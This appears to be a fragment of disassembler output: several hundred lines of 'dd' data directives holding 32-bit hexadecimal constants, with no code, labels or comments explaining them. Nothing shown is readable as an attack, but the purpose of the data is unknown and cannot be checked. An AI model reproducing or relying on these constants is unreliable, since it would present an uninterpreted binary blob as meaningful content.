		dd 29901A20h, 0B97BCDFDh, 3555B3A2h, 38446FFEh,	7FF503C0h
		dd 2E0C01D3h, 49B4832Fh, 8791C6E3h, 0D3700823h,	2857A54Fh
		dd 0D0A54F1Dh, 0D6500CEh, 5C8415DDh, 9FE3A894h,	65AE4EA7h
		dd 74EA2323h, 62332349h, 32C53B28h, 6D255863h, 1CDBD9EDh
		dd 1453FF24h, 78C63935h, 5262D125h, 2A3CAD34h, 41F8CC8Bh
		dd 5988BF49h, 74D34517h, 59F627F5h, 0B634046Dh,	0CC04C4CDh
		dd 73B1906Ch, 0B0E102E8h, 6C1C2F4Ch, 0A23666E6h, 0EDF020BFh
		dd 0CC47A9Bh, 3130514Ch, 9F9B81DDh, 3824EE64h, 0DAE07703h
		dd 0F8D2E084h, 49827316h, 74037C5Eh, 35249DB3h,	0D2C2C0CAh
		dd 14004778h, 4BA30BCAh, 9F952F25h, 6BE597C3h, 0DCC8B5F5h
		dd 0C3CD1B41h, 0FCB0E357h, 0A3514942h, 0F2BE44A5h, 0A42429D9h
		dd 8B7BC719h, 8244A10h,	0E3A4816Dh, 9DAA3505h, 0CF43E16Ch
		dd 0EDBA989Fh, 0B8B77685h, 11C0763Eh, 3B4861BBh, 9DB86D4Fh
		dd 0F88BCE73h, 0FCC53A3Dh, 9B84C35Bh, 513E52CFh, 0E5098579h
		dd 779A160Ch, 47071A73h, 0EF31FADDh, 0B10CDC4Ah, 0F0703A21h
		dd 0A72991D2h, 98D439C1h, 7413E8CEh, 58C7FA4Ch,	0C677C85Ch
		dd 7C4FF268h, 251DA7BCh, 27499ACFh, 11301AC4h, 0DF7E2E46h
		dd 24D2A186h, 6214AA75h, 0F372B4D0h, 58AEB7DCh,	0D3ACB405h
		dd 8A6DE020h, 6BA200CBh, 6AB023DAh, 466EAA45h, 0E5E332E1h
		dd 1C5FDFDDh, 0FA30C8C4h, 0B05F5154h, 621332DBh, 2ABE43FDh
		dd 2DD531A2h, 0A358AB96h, 0FB1DB29Ah, 0E6A525A4h, 50F16A52h
		dd 9760E590h, 0EF9A331h, 723E949Ch, 9F3AC820h, 98578F3Fh
		dd 0AA269BEh, 47831A01h, 76C98A1Dh, 334CCA72h, 96EA2846h
		dd 6B5CB67Ch, 0B88B8965h, 7FB123F2h, 6931543Eh,	0FB88A3B3h
		dd 3F29DE59h, 0EE05FE94h, 91D0B29Ch, 2B28EB28h,	7719B5C9h
		dd 0E0456629h, 0FAC253B5h, 0BE26F369h, 14AF5DDFh, 1A0CBD6Dh
		dd 0B049DB05h, 90098B8Dh, 308CF529h, 5C1464FCh,	21641F43h
		dd 0E2BC20C2h, 3FD49869h, 0D1252D6Eh, 1E168D57h, 0DFE69405h
		dd 6FCB1785h, 0D3307DF4h, 0E95148C6h, 121B8AEBh, 0D6317F65h
		dd 8A7E1DF5h, 5A53DA68h, 0F7EB244Bh, 83B1F71Ah,	0C8317B1Ch
		dd 4AA7BBA3h, 536D9BB0h, 0CC9116C0h, 2E102583h,	3280FA88h
		dd 0A9799A2Fh, 6DB613C6h, 70665A98h, 807D58Ah, 0E7C3C0CAh
		dd 0A8074CB8h, 300DCC06h, 898EC3DFh, 0BB9DBBC2h, 0C946F06Fh
		dd 0C75C5B47h, 15DB284Ah, 1C83EBD0h, 41BFBA14h,	76EA5824h
		dd 6C1C6DEAh, 0F5D67C89h, 0F18803FCh, 0EF2EFFCEh, 3228090Ah
		dd 91A23FBDh, 0C756BE6Fh, 9A7115ACh, 4C9B413Dh,	9B8D727Dh
		dd 20087C2h, 5F2FFC6Fh,	0C96B5A32h, 60E11150h, 3125E5CAh
		dd 0A2E3E3ECh, 0F6E74062h, 2C83F707h, 0BB7F3E87h, 3920D5DCh
		dd 8955B6D7h, 2CB7FCB5h, 4DAA72C6h, 21F3A180h, 0B55F249Bh
		dd 49E9C7F0h, 8681A20Fh, 5270E9Ah, 9ABCA0A4h, 97907D42h
		dd 5DF73022h, 2B15B0D1h, 301ED569h, 47797836h, 5AD1AD5h
		dd 186128C0h, 4773FB91h, 22B243Bh, 0C02AA382h, 0C793C364h
		dd 424D698Fh, 594BED89h, 16020B97h, 7C9F471Bh, 3EFC2719h
		dd 7E3F3319h, 210CDBFBh, 0D076EEEh, 0C6BD795Bh,	560277EFh
		dd 0A4F113F8h, 1EDE59BAh, 0D49EEC91h, 79C431FEh, 0ECCE245Eh
		dd 6B463C27h, 7FC4092Ch, 7FE1C27Dh, 3B5FCC7Bh, 0EF96F32Dh
		dd 717BEF32h, 0E92B07DEh, 2D58816Fh, 64AD4488h,	0B97306C3h
		dd 0BDBDDD52h, 5BE5AD35h, 23849765h, 3CC2F882h,	0AB7AF19Ch
		dd 545B08CBh, 24E5EE7Fh, 24E12D7Dh, 73AE965Eh, 1C9C4134h
		dd 0F99BE561h, 0B74CF970h, 74FA0650h, 522188Ch,	0CC0980Dh
		dd 0B30CDDCh, 2BAFC1ADh, 0F3F18447h, 0C03CEE7Eh, 0AACA4C46h
		dd 29672DD2h, 88C94A74h, 0D1BCE400h, 0E77EEC82h, 0CDDA450Eh
		dd 0D8AD30B7h, 0CEC34F03h, 0E14E12EEh, 1F3CD696h, 0F62E0F2Ch
		dd 52EE2A10h, 9F134F24h, 36D31779h, 165345C1h, 0B4348BD8h
		dd 2AADC069h, 96D305C6h, 0F75996B5h, 893F2F1Bh,	0D1A67E72h
		dd 22AA5C04h, 433C940Dh
		dd 3BF571Dh, 8C51A77Eh,	0BEEA866Bh, 96B5C732h, 83B3910Ch
		dd 0F3DEE6DFh, 3BB02366h, 233D9F4Bh, 84B36526h,	10FBE8Dh
		dd 759D7650h, 0E4EA254Dh, 589A61F9h, 70CBF0Eh, 0E8F57DD1h
		dd 0E486E0DCh, 4F27A543h, 3083CB7Dh, 49E563C4h,	745CB337h
		dd 3AA3529Ch, 4B225AC9h, 0AFF09AE3h, 1F830A21h,	372285FBh
		dd 610D3BD1h, 63936F9Fh, 0BDCBDE1Dh, 354555FEh,	0B34DDB5Ch
		dd 0D9FDFBBDh, 0C280EA83h, 0CDDFD054h, 0F6BE43DFh, 1794FB06h
		dd 0E87F4C0Ah, 0A2B27E1Ch, 0D5ED5794h, 0FFCA12FFh, 5EC2DE29h
		dd 0D361D56Eh, 0A49F93F9h, 0E7220F01h, 0E510AB50h, 5BD70AD1h
		dd 79AECBF0h, 5E5C0C53h, 23F91170h, 0B4539EB2h,	3A0BF168h
		dd 86BE916Ch, 17F12336h, 0AC9FFD59h, 0A3693D9Eh, 11545E4Eh
		dd 59E99E16h, 0FE1B72A4h, 5354D96Ch, 0BEA706DFh, 7D198D44h
		dd 0C78BE434h, 5B805851h, 0F78DB9D4h, 11859382h, 0E5877C00h
		dd 0CDE1C4EBh, 0F3988F16h, 4768BBB3h, 9C15EB2Fh, 0AF13A9F8h
		dd 0F16195B3h, 0D158361Ch, 0FBC865F2h, 396E5013h, 8F1F0A36h
		dd 0F1ACEA9Ah, 0E15A4EE3h, 0E837192Ah, 645C40CEh, 0FEDB0E9Fh
		dd 6CA60942h, 0A1BB3A3Bh, 8411CD9Ch, 199BF1A8h,	6B364421h
		dd 0D82F9EF5h, 1F1B8F7Ah, 91782C4Ah, 8DD7CFC6h,	0DB44B0D4h
		dd 0C5E94957h, 0E9731C35h, 5DFE6172h, 9696E21Dh, 8D3F875Bh
		dd 0EC6B7695h, 86449BF3h, 57846E8h, 76EC5ABAh, 0E218775Eh
		dd 72D13C35h, 0AF5144B0h, 8BD53D5Fh, 1C351042h,	1BD3ABEDh
		dd 0F9CBB5D4h, 61DB45B4h, 0DF27354Bh, 9F9EB3Ch,	87638CCAh
		dd 7F0A96CDh, 82600F5Eh, 1FDAFC60h, 89220B0Bh, 5A8C0CCBh
		dd 0E9D5E654h, 40F9BA80h, 8691728Bh, 943C3736h,	4D979C92h
		dd 5BAFEC6Dh, 0A84BB628h, 84FF283Dh, 0D54905EAh, 0F1B5A7A2h
		dd 0AFB7E60h, 677E9FB9h, 17C85157h, 0FC0F4F98h,	8DA917B8h
		dd 0EEB2C966h, 18BEACC6h, 9FC07E2Ah, 4F22B042h,	1E7047A9h
		dd 0EA92216h, 86B12387h, 20092078h, 0B93E0854h,	8D5F772Ah
		dd 4EEA649h, 534D0806h,	0B874C9D8h, 0E001C606h,	0AA449279h
		dd 0C24F67A1h, 827E782Ch, 4FB0E070h, 0A872EE17h, 67920285h
		dd 0F2C09B3h, 5C19DD9Dh, 5B0448A4h, 0FF14C92Eh,	816E0E80h
		dd 0C45E5C7Eh, 12B8600h, 0FAF06F09h, 86461935h,	4070041Ah
		dd 360D3595h, 1732A2AEh, 0A91163D8h, 0C0F56B7Fh, 81C9EE83h
		dd 8E7A61B4h, 0D582EEh,	0E9E0BC81h, 32B62A02h, 259BB2BEh
		dd 3A0D1553h, 9F7B4479h, 4389073Bh, 15CB50E1h, 4B981815h
		dd 3DCF6DC9h, 4B74526h,	8B781CADh, 0CE3551ECh, 52F66AD0h
		dd 80A6D3Bh, 0C1F21634h, 0F48ABF78h, 0F0C1B72Ah, 59A4BD23h
		dd 0A805EF66h, 611D4F1Ch, 0FB337263h, 0C948A8CCh, 0F3C4AC54h
		dd 432968E2h, 0C040237Fh, 5622BD30h, 0EC27EE2h,	6577885Eh
		dd 0FDE7EB65h, 837AA744h, 0A1E8F134h, 3FEBD19Fh, 274E6D7Ah
		dd 7DD00ADDh, 20FEDABDh, 517AFCA7h, 748DF1F5h, 94AAB7BAh
		dd 334AEE64h, 7489424Dh, 0B2B5BAF0h, 600620BEh,	0D1DC1207h
		dd 0B4CDE9CEh, 0AEE46AC6h, 6DEAB6FFh, 0AF67A62Eh, 9EA968F6h
		dd 45B20DCDh, 12E2B4Ah,	88EB3847h, 3CBEF087h, 2D0A9D6Bh
		dd 0DEC466F4h, 32D76B5Eh, 0F775BCAh, 0C504E91Ah, 0BC4A9D0Ah
		dd 8B888ED3h, 0A6AF504Bh, 0F665F8F2h, 5A5F62F1h, 7A08BB3Ah
		dd 340E6007h, 78EA6B0Bh, 0C85D88F4h, 42E296F9h,	58609D4Bh
		dd 64377785h, 0E6DB56D7h, 3ACE8F6Fh, 18699CE5h,	27B8AFF3h
		dd 4ED148ECh, 20C20DB6h, 0F6A2D3AFh, 0C071C2E5h, 3D462F9Ch
		dd 0DE55631Bh, 0ADF93483h, 87B2B904h, 2DE46014h, 0ECE7BCCAh
		dd 0CDF75FC6h, 3B3C51ECh, 41958FB9h, 0D611A0B5h, 27EAFB85h
		dd 1E819EB7h, 1D3A1DA4h, 0D3CD6554h, 0E6FE71Eh,	1AB97F5Fh
		dd 3B51D194h, 3BADF950h, 7D974434h, 40A81D14h, 0ADC75A91h
		dd 94DB3A0Fh, 0C81D31BBh, 40CE81E2h, 8F14F371h,	31378009h
		dd 77E296C5h, 0D50146D1h, 97D363CDh, 4E5AF81Bh,	0E3096FF6h
		dd 220B53D8h, 62F5CA52h, 6116F4h, 8BE8F6CFh, 932860D5h
		dd 0B8CF0822h, 6248A8F8h, 0A5AE5FA2h, 35A29E28h, 49F2E28Dh
		dd 952C422Fh, 32365767h, 3308F4A2h, 5F9DCA74h, 0C9EC163Bh
		dd 0DE55C11Dh, 55F906D9h, 112B2E54h, 0AA080D4Dh, 0DD48F31Fh
		dd 9BBBEA56h, 78E9F9FEh, 65AEA121h, 9BEDB676h, 0F4A7D836h
		dd 0A073B6A2h, 0FA7090EEh, 0C7D8E61Ch, 0C65C374Fh, 3C194D62h
		dd 0F2ABB38Dh, 0C83CED57h, 0E7D3461h, 19CBC4D4h, 0FE4F9641h
		dd 0F95CA20h, 0CA1F405Bh, 0B08B92E3h, 0E4FF0D06h, 0EF1F7CACh
		dd 4DC21AF5h, 0B9FD8092h, 2C6E9D4Dh, 0EDD24A92h, 7DF7A642h
		dd 0B80C41h, 6972C931h,	56646526h, 0B9E7EA7Dh, 0F69F2162h
		dd 0F9128E80h, 0F3C2EDD6h, 0A25A4E10h, 2B4914FDh, 73F7D2E5h
		dd 344C6187h, 0FF27EACCh, 0B519B514h, 0CDE2F8CFh, 36F4041h
		dd 99A0D1CCh, 0ED436FEDh, 0DAF129D1h, 0C73C219Ch, 87D7231Ch
		dd 59042C47h, 0B0F6C907h, 0EB659506h, 90D1C59Eh, 0DB2984F3h
		dd 5C1252Ah, 0D12584D8h, 0C46FCE2Eh, 0E8B42Eh, 7036C01h
		dd 2786D73Ch, 5234727Bh, 0C75F76F0h, 0BAD045FCh, 83F5C27Ah
		dd 7E508F62h, 0C4D30AD5h, 0BCBF8C7h, 78A33919h,	0E4F28986h
		dd 0DC5AA427h, 41B7BBA7h, 0E517AC9Eh, 0AE61A44Ah, 0DF52E2Eh
		dd 78096628h, 0D04A5FA2h, 0A724FEFBh, 0D1780095h, 52309ECDh
		dd 830DF818h, 281E0DA5h, 0DA92B689h, 0CCD70891h, 577AB26Fh
		dd 0EC5383CEh, 34B4ED92h, 49722FF7h, 1D1E9611h,	0B9C83889h
		dd 770BBA72h, 822016AFh, 705CDAABh, 0EE5E233Ch,	0CDD6797Ah
		dd 0E66C85C5h, 6591AC5h, 6AFB8BFFh, 298C967h, 0B890B9E3h
		dd 9FD238Ah, 841248B5h,	297FA6DEh, 6770AB18h, 0BCAFEE95h
		dd 2ECE9E36h, 0C38C598h, 84D66621h, 5E4CBCC2h, 19BEE571h
		dd 746E05A2h, 2A9E2AAAh, 0CB3EDBFDh, 6FCC6A0Bh,	0DFEA2301h
		dd 0F4216BDFh, 0BBC3791Bh, 179E198Eh, 0C8AFD0FDh, 6F426B37h
		dd 36158025h, 0DCC105E6h, 0F4C87B68h, 96B4A8C3h, 542B3ECBh
		dd 0E517E14Ah, 0CA3EFA22h, 7CFA3D50h, 0BDABFE36h, 2D4062C1h
		dd 16CF2F4Eh, 5BF4A61Eh, 7601701Fh, 7DD9B7E6h, 12FF47B9h
		dd 6EF3B3BBh, 0E32CA812h, 0D701A580h, 0EEA45E43h, 0C982C661h
		dd 5E3A57F8h, 397FEEC2h, 0DE954F4h, 1E5114E8h, 0D6DCF5B3h
		dd 5271258Fh, 1C72402Bh, 0DFC5F1F2h, 0C0469A65h, 0B29B8117h
		dd 13E34533h, 6C0BCDAEh, 498D3EFDh, 0C7B0098Ch,	0D748D87h
		dd 443BB079h, 0B5C62865h, 0EFBB3E9h, 7459154h, 0F5FC29DFh
		dd 0DF4B86EBh, 0F9BB8DA4h, 1B89902Bh, 0CBC5A4Ah, 83D5CC2Dh
		dd 959802B6h, 0FBD08002h, 0D492CEEh, 7FC5A789h,	70325F6Dh
		dd 0C603A59Eh, 2D66E0EEh, 0D79BAB11h, 0BFCE55A0h, 70CBFE9Fh
		dd 258B70C8h, 1136D346h, 338BDEE4h, 405F90A9h, 0AA2EFBC6h
		dd 0B87E65C8h, 3D349474h, 6B4B955Ah, 0DA011A2h,	41C8D8D8h
		dd 59E115E9h, 0DE3B9B15h, 98D2789Fh, 8F69F91Ch,	8C0DDA46h
		dd 23A1730Ch, 54682C67h, 3304AF2Bh, 0FC88323Ch,	3D0D6185h
		dd 9D54FCDDh, 0DE4F5EEDh, 237E8F91h, 0CD3E61A3h, 58B6105Ah
		dd 6996DB69h, 0CAFE5A48h, 384BD579h, 0A4D7264Bh, 2882E21Dh
		dd 3A2A44EEh, 0BD3B884h, 0A161AC17h, 7610F4FFh,	3B620B02h
		dd 8BBCBDB7h, 8B33D4ABh, 850CB1B5h, 0C889FDA5h,	71186A6h
		dd 5473B002h, 5269BA12h, 7E15610Bh, 0D0A54114h,	66F39805h
		dd 0D000AD16h, 0FC57B7EBh
		dd 0DB0ED71Eh, 87E7D902h, 0E27749ECh, 0EAABF3BCh, 1AD7347Bh
		dd 344B0406h, 0C77CFBB4h, 0D2ED768Dh, 34E1DFB9h, 708FDB35h
		dd 505D9F03h, 3A41985Eh, 2E812054h, 0BD19EB94h,	0E800D6DCh
		dd 370DA0FBh, 0B40EA902h, 0EF8B3B8Fh, 823552EDh, 0FCF803FEh
		dd 0DB27709Dh, 54F76E61h, 0D8716C4Dh, 6B29B7A0h, 0A0096260h
		dd 4289C97Bh, 4B6CE40h,	97A3E0E7h, 0B37BEEDh, 7DB7EE78h
		dd 0F8580B87h, 0C1E63C6Eh, 0DEF6D70h, 3978F662h, 749F0C5Bh
		dd 0B733CF4Fh, 499B0230h, 17CD064Eh, 42EAEF24h,	7C537814h
		dd 0B0820118h, 5257375Ah, 0DE4B1391h, 0B32C88E0h, 0BD575CA3h
		dd 4D9907D7h, 0AEF47FC8h, 0BE14573h, 30FE16B9h,	0F4D2E93Ah
		dd 7D13A03Fh, 67D44DE4h, 3D870070h, 0CBD0E35Bh,	4D82E16Eh
		dd 0D7740C05h, 36D808A4h, 83B7E39Ch, 0A14D86CEh, 4156AC05h
		dd 1AFB2407h, 87331674h, 0FDDE90ABh, 0D9944A49h, 6D265BB1h
		dd 26FAFAF7h, 1037AE32h, 0BA3B8E22h, 3DEE2555h,	4C00028Fh
		dd 0CEF73F37h, 13DA1C6Bh, 387248D6h, 6D022F47h,	499628BBh
		dd 568600B7h, 0A23B2D94h, 36780560h, 0E8594F59h, 706DAA49h
		dd 374169F1h, 925FAF33h, 4D85B188h, 0D5939F6Dh,	3E3D89C5h
		dd 0D01AC23Ch, 703E8B22h, 0A5752555h, 3386B148h, 4C7C7211h
		dd 0F65BFB24h, 49856162h, 0DFEFB4C6h, 0E19479F6h, 6B8046C0h
		dd 6C439207h, 0FB4412F0h, 7E28A78Ah, 9B04CA31h,	814C82F3h
		dd 225BC4E9h, 949B1D6Fh, 24283E84h, 1F47AD8Fh, 122BC290h
		dd 3E41F7h, 0CDCED3E3h,	18DCF0B4h, 0D5860C05h, 0F1C9BCD5h
		dd 7A7AB104h, 65258C86h, 1596083Fh, 879039CCh, 0BE8BEB0Eh
		dd 51C677AEh, 233283Eh,	2541D5BEh, 0AA6877E5h, 0B17DCD0Dh
		dd 0A6D32B9Bh, 0B6166BEBh, 1B6E21F1h, 2256FB22h, 9B48AB39h
		dd 5AB46C8h, 3F87B2C7h,	0C400FD47h, 0F7C973Dh, 0B369A438h
		dd 28F51CA7h, 4815A965h, 2357007Ah, 0CC998ABCh,	10C60248h
		dd 0C569316Dh, 0B710212Fh, 34EA0230h, 8060F379h, 0BA9D4E6Fh
		dd 0E85630E6h, 4ECB0418h, 4342668h, 0D230F881h,	63957496h
		dd 536FFF0h, 42E23BA9h,	0DA82799Ah, 0BD38BE78h,	76F4A2A7h
		dd 8FEDBEF7h, 8BD3EE39h, 0B5E8971h, 0CAC1EC21h,	946B8588h
		dd 0AE23C216h, 0FDA30F06h, 76BA9978h, 0F450C045h, 0D5A42AA1h
		dd 0F301D15Dh, 0FB9A9973h, 0DB285256h, 0BEFCD28Ah, 0AC6649FBh
		dd 0D38909C7h, 0D149A1F9h, 0ED942140h, 1EBB298Ch, 9119B1A2h
		dd 6BAE6892h, 0A2A73C12h, 0C2897C9Fh, 43B51325h, 0D540AECEh
		dd 0CAB7DEFBh, 173BF2C7h, 0C98995Ah, 0D739FFD2h, 0A8943A6Ah
		dd 73E857B8h, 68EA8688h, 0E031086Dh, 3A87521Fh,	0FC6DAC9Fh
		dd 0A326670Eh, 0BD93AC2Fh, 96EED02Bh, 175BCD4h,	0BC1E40E2h
		dd 58ADFE17h, 2F05E602h, 7364DD22h, 0C8AFE1FBh,	3490729h
		dd 9FB15E80h, 3A4F49CDh, 0ED406484h, 5AFB4AD8h,	55A47345h
		dd 55385A5Ah, 105105E2h, 0D9512D9Eh, 79612839h,	96A1976h
		dd 0F3B83A05h, 92CC5858h, 0AE61B499h, 3D807A79h, 17DF4C2h
		dd 57B0641Bh, 57B475B1h, 5F0430A3h, 2305B099h, 4ACD61D6h
		dd 0C7114458h, 0F8F38655h, 0E0691BA9h, 71D55361h, 89A91851h
		dd 51CD21EEh, 0B2E0D574h, 65C3E42Fh, 10EA7188h,	3AD6851Ch
		dd 0D29C78CFh, 0E781CAD9h, 7E56C853h, 94ECD625h, 96D1574Fh
		dd 0ED25B2D4h, 8B6DFFFDh, 645C9327h, 0BEB30AC3h, 1BC8EAEFh
		dd 9C212437h, 9F0409A3h, 43FB7549h, 969A21F0h, 960A1003h
		dd 70CEBF39h, 0FBD239FFh, 7CEF7763h, 76ECD132h,	72E1D495h
		dd 0BC70080Dh, 0CDFD3BE0h, 3EBB37BEh, 900996D9h, 0B6AC10E5h
		dd 967802C3h, 26FF58B5h, 15FAE194h, 26D90F29h, 90E2CBA5h
		dd 308B82EEh, 0D03B27C4h, 5E889E8h, 96989EC8h, 0A4D65DBDh
		dd 8C0F9AAAh, 6ADE0DB6h, 0B0C19284h, 0F3DBD63Fh, 0D1EBF4BBh
		dd 4DEBC9EFh, 6FB6EDA9h, 3C09F0B6h, 0C7880DAFh,	322FB3BEh
		dd 0C3FA6028h, 6516D5Ah, 0DC2A3359h, 41B3F28Dh,	332F4D49h
		dd 888F2C51h, 9A1B3FEEh, 4D1D4F55h, 0EAB3D74Ah,	0A5E1BB1Ah
		dd 7441BF83h, 7664A004h, 54F3AB9Fh, 1FBDD840h, 7D549FB0h
		dd 0D7B89E07h, 91FDB25Fh, 5AEED8FDh, 0D2D65CF6h, 96458458h
		dd 6D41986Fh, 67A63867h, 1B6CC19h, 0B250F9F5h, 566F8D99h
		dd 291A6DF4h, 34670A45h, 0E0427F0h, 52D726C8h, 0E4CBEA31h
		dd 0A92EDB09h, 1CFB9C7h, 5D9C2B4Eh, 46A3C0AAh, 0D3E5E717h
		dd 33948268h, 2E935731h, 564796F6h, 421F74B8h, 0F288E198h
		dd 0B9069C66h, 4B8902AAh, 0E94656D7h, 255A3C91h, 4D1B9B03h
		dd 0CFAB810Dh, 4E4EFE71h, 8A0D96D9h, 0C152F3F0h, 6C2DF4F8h
		dd 31D6B183h, 1EBE034Dh, 2FA62A6Eh, 7CAE0CD1h, 0EFCDBD65h
		dd 0CF734A9Fh, 1D4280D5h, 0BC10B500h, 0BCA5BF57h, 8E3712Ch
		dd 0B7F52Dh, 0D979F497h, 0DEBA5093h, 0C08D41CFh, 0D74C34Bh
		dd 0C6A2E1E9h, 0F2C3FB4Bh, 6AAD794h, 0E25BE733h, 4C11352Ch
		dd 30045554h, 27A5F14Fh, 2B5FD702h, 0DF04C527h,	3FF6E07Eh
		dd 0BCD23343h, 0E65516FCh, 0CC30FF0Ah, 0C4DEF719h, 0F0CA7962h
		dd 2CFF3D21h, 5FA3FB15h, 4C08D22Fh, 867E848h, 32D01832h
		dd 9A3E9608h, 3FBAF70Dh, 21A609FFh, 0A932EAA4h,	0F144F9EAh
		dd 7C021264h, 799C0C3Bh, 0FE81AAA6h, 0BFFCCEB9h, 0C84B9E25h
		dd 874B622Bh, 0EE7D02E2h, 0FCF3351Eh, 413B6B61h, 310739E6h
		dd 2104584Dh, 9F6C0E8Ah, 14F67546h, 0A51B525h, 3FF131B1h
		dd 0C18349E9h, 0C12BF6DBh, 0C9386B45h, 0B05B4E6Eh, 0B49088C4h
		dd 6DAC7CBCh, 7337487h,	6C5ADB5Bh, 0E63ADCF7h, 0C95D2B91h
		dd 113D1210h, 0BE05C8ECh, 8C6E41E8h, 3CCEA43Eh,	7536EBEBh
		dd 6E898EC8h, 657E6DBAh, 851FBF19h, 2D7D2D89h, 586E9AE1h
		dd 0AEEDA6B3h, 0DC8D8D5h, 0F3053386h, 61697AFEh, 214E3F5Ch
		dd 0F43AF9E1h, 0DE6D115Ah, 4AB5FA6Eh, 475C212Bh, 0B370B70Dh
		dd 1DABCD81h, 5D5073E9h, 8F9D694h, 48E72BE4h, 0A60E0FFEh
		dd 9A0897E7h, 232829C5h, 84718101h, 9E8ABE94h, 0A31B6571h
		dd 42E86D03h, 0E860DB6Ch, 35B17377h, 0A13B5008h, 8879C04h
		dd 0A6F4C70Eh, 0B9925214h, 0AC0F8EC9h, 3E16BBAEh, 0BFEAC5B0h
		dd 0E69A46DCh, 8E340177h, 74F3BC1Bh, 7B21540Ch,	0C5E6E042h
		dd 1BD5582Fh, 7A6FBF0Eh, 38E98EFCh, 9A584E5Dh, 9615DF5Bh
		dd 7796164Ch, 864171ACh, 8A114DE0h, 0ACF57276h,	6C35E4AEh
		dd 5FD1D9D9h, 15F3A20Eh, 34876C2Bh, 9D1284E3h, 0CCCFE8E0h
		dd 0A65FF140h, 6630F72Bh, 20D5B878h, 0D591E7F2h, 118999D1h
		dd 82C312EEh, 79825BCEh, 0DDD9753h, 2F35FB21h, 6CB2CBD1h
		dd 6A9A605Fh, 7ABDC027h, 6B8DF058h, 83907A30h, 8235EDDDh
		dd 0AD688376h, 4EDE698Ah, 0B33868A9h, 73E211Ah,	0DDC5EAFBh
		dd 7B8C1140h, 29371770h, 359CE633h, 9E1349EFh, 8805FB73h
		dd 0E79F4F85h, 0F1CD1171h, 0D622FF11h, 753C5152h, 6A24F161h
		dd 832C083Fh, 343F2D9Ah, 0E0A4693Ah, 0A721B0CCh, 0CC949113h
		dd 0AF44E567h, 0FA1716A9h, 59D48560h, 31BF34CAh, 0B5E39708h
		dd 0FC1757B5h, 0C182193Ch, 840E1337h, 920E2C2Fh, 9DCDCD1Dh
		dd 3EAFD2DEh, 1AB1166Ah, 92715CA9h, 0CB37CBF4h,	0A0C72263h
		dd 266A214Ch, 5382FA25h, 4C51C138h, 0BA1B8F65h,	0D4699227h
		dd 49E96744h, 559B5AB2h, 0D4495FE0h, 0E05527F5h, 55ACE12h
		dd 823DA322h, 0E2603Bh,	0E97F11C9h, 0B02DE02h, 81D5C3E0h
		dd 37C112A8h, 0BC772F46h
		dd 40255388h, 881D8C83h, 76DE896h, 0E0B558BDh, 9F083275h
		dd 0C82D7115h, 0D73B5609h, 0F0A27D46h, 6195B34Fh, 0A01EFC16h
		dd 91834512h, 0B29BEFDEh, 0F23CDC7Ch, 585D00E1h, 31DCD2EAh
		dd 0EFF6F8CFh, 59D18A3Dh, 0BD27DB5Ch, 6C5EBECFh, 9D441228h
		dd 3F980A22h, 0F8BE1B67h, 0C5E11D6Fh, 0BB66C45Dh, 44C434C6h
		dd 355E2180h, 7DD6E19Bh, 0B1BA5F9h, 52370332h, 0E7DEAFCCh
		dd 76B1E157h, 0F58BB71Ah, 727D2507h, 0F2800ADBh, 98D62058h
		dd 0AD70B060h, 0D0BF366Ch, 379FBFA8h, 338DBFD6h, 98160F82h
		dd 8C127C99h, 67FBC9C0h, 91B3C868h, 99BD4F47h, 0AF80F6D9h
		dd 247C8012h, 602A58DBh, 15E7BC7h, 0A8E4C8E1h, 6911A1D7h
		dd 0E59467C1h, 0F638B973h, 3268533h, 326468F4h,	7D74742Ah
		dd 0A8DFA8E5h, 0AAF7F8E5h, 0B2EF5A5Ah, 0B3C68F41h, 0F0ADF4C7h
		dd 0A5D4A6B5h, 841B744Eh, 0D98CB8F5h, 0A4A4C75Dh, 0A144F5BBh
		dd 50CE1C71h, 4FF826h, 0C6831DEEh, 0BBA06B52h, 4AA5E70Eh
		dd 0CC2FB358h, 0B1F803D4h, 0F4FF5B61h, 65E5F588h, 5F746F5Fh
		dd 898B4B21h, 8B45277Fh, 0EF6ADA36h, 750ECFDh, 9C7FF24Bh
		dd 42EC759Eh, 7963104h,	44F798ADh, 4D3BFBCh, 5F22FFE8h
		dd 90C7E151h, 3B685A1Ah, 0B98341BEh, 0AB4B6390h, 0EAEA776h
		dd 2FF01AE1h, 345ABAC8h, 9367593Bh, 0F0B9393h, 0D27B39FDh
		dd 5AEA2AB0h, 2FE48AC5h, 0B1F62478h, 13F233B3h,	411B231Ch
		dd 16A43375h, 0BE1E4BDBh, 2E3A90DFh, 5A953091h,	0CE5A9502h
		dd 1025E1F0h, 8EBBD4E6h, 317DD713h, 29FA4F20h, 5EBB1DF2h
		dd 0A13D9E42h, 0F503A83h, 72B08A91h, 16DDB5B4h,	0AB7893DBh
		dd 0F2FC0B67h, 0A9BBEDF4h, 0A1D13A74h, 0AB753A55h, 72DAD37h
		dd 76599061h, 3CC03DB4h, 6C636098h, 2DF80441h, 2232F225h
		dd 0DD414136h, 737A72Dh, 5D0CD609h, 0E9EC1ED2h,	0F55BDF5Fh
		dd 0E2B335DCh, 916CCB78h, 644984E0h, 162F64D2h,	2DDF67C6h
		dd 7A34FAD7h, 0D6FCB297h, 0F9B7181h, 0F24D0AADh, 56422AFDh
		dd 0A4D8A5EEh, 0D46B644Fh, 428DE9DFh, 9E4BFDB3h, 0DFEB3952h
		dd 85149D33h, 0BB593DCBh, 7035BCCDh, 4D990560h,	712908E5h
		dd 9C27FEF3h, 0F2EBD063h, 0E3E88A53h, 382C8E64h, 882EE436h
		dd 5CCBD68Ch, 0FF19B3CEh, 0BE43E18Fh, 39D6458Ch, 607E392Bh
		dd 0BCADE56Bh, 490F08BBh, 25F4FD62h, 29797A27h,	66DA8325h
		dd 0F780A990h, 27FB1DFFh, 0DFE1C1B2h, 54519763h, 96596CB3h
		dd 8A1BFB8Ah, 8681EC6Fh, 97885C4Ah, 0B0D32F7Bh,	6F672138h
		dd 6A0127EEh, 72B550A9h, 18FC98D2h, 870A2EC5h, 0B31FD619h
		dd 6B61A881h, 55F664E5h, 3736C4B2h, 35B67869h, 0E73E5CAh
		dd 0F21A809Ah, 8CF6E6A4h, 6250881Eh, 0FF2268B8h, 0E785B5DFh
		dd 3E8C5942h, 174B2428h, 0F6523D36h, 0CB8C2657h, 0CAFFA254h
		dd 780EB387h, 0F564A3C6h, 36C5AF62h, 5980887h, 85D5BB66h
		dd 32B06E61h, 1B0150F6h, 7A450089h, 4ADA1C32h, 0FBED1285h
		dd 7727655Ch, 0C240EAE6h, 98BD9F39h, 1D0C690Eh,	0CBA7F4F1h
		dd 0CBBBEED5h, 0FE4C353Ch, 4F408969h, 0F65E0C82h, 92B32A73h
